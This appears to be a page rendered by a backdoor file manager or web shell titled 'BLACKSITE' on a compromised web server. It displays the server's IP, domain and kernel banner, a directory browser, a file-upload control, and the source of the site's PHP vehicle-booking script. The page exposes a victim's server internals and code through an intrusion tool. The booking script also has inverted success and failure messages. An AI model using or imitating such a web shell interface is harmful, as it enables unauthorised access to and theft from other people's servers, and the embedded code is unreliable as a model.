BLACKSITE
:
216.73.217.4
:
104.37.75.190 / alpenpass.ca
:
Linux server3.pointsplan.com 5.14.0-503.38.1.el9_5.x86_64 #1 SMP PREEMPT_DYNAMIC Fri Apr 18 08:52:10 EDT 2025 x86_64
:
/
home
/
apca
/
www
/
Upload File:
files >> /home/apca/www/transaction_file.php
<?php if(isset($_POST['submit'])){ try { $dbh->beginTransaction(); // Start transaction $rateName = htmlentities($rateName); $sql = "INSERT INTO tblbooking (BookingNumber, userEmail, VehicleId, FromDate, ToDate, message, Status, amountCharged, rateName) VALUES (:bookingno, :useremail, :vhid, :fromdate, :todate, :message, :status, :amountCharged, :rateName)"; $query = $dbh->prepare($sql); $query->bindParam(':bookingno', $bookingno, PDO::PARAM_STR); $query->bindParam(':useremail', $useremail, PDO::PARAM_STR); $query->bindParam(':vhid', $vhid, PDO::PARAM_STR); $query->bindParam(':fromdate', $fromdate, PDO::PARAM_STR); $query->bindParam(':todate', $todate, PDO::PARAM_STR); $query->bindParam(':message', $message, PDO::PARAM_STR); $query->bindParam(':status', $status, PDO::PARAM_STR); $query->bindParam(':amountCharged', $amountCharged, PDO::PARAM_STR); $query->bindParam(':rateName', $rateName, PDO::PARAM_STR); $query->execute(); $errorInfo = $query->errorInfo(); if ($errorInfo[0] != '00000') { // Check if there's an error echo "SQL Error: " . $errorInfo[2]; } if ($query->rowCount() > 0) { $lastInsertId = $dbh->lastInsertId(); $dbh->commit(); // Commit the transaction echo "Record inserted successfully. Last Insert ID: " . $lastInsertId; } else { $dbh->rollBack(); // Roll back the transaction on failure echo "Insert failed. No rows affected."; } } catch (PDOException $e) { $dbh->rollBack(); // Roll back the transaction on error echo "Error: " . $e->getMessage(); } if(!$lastInsertId){ echo "<script>alert('Something went wrong. Please try again. $myError');</script>"; echo "<script type='text/javascript'> document.location = 'listing.php'; </script>"; } else{ echo "<script>alert('The $vehicleName is already booked for the time you selected. Please try another vehicle or another date and time');</script>"; echo "<script type='text/javascript'> document.location = 'listing.php'; </script>"; } }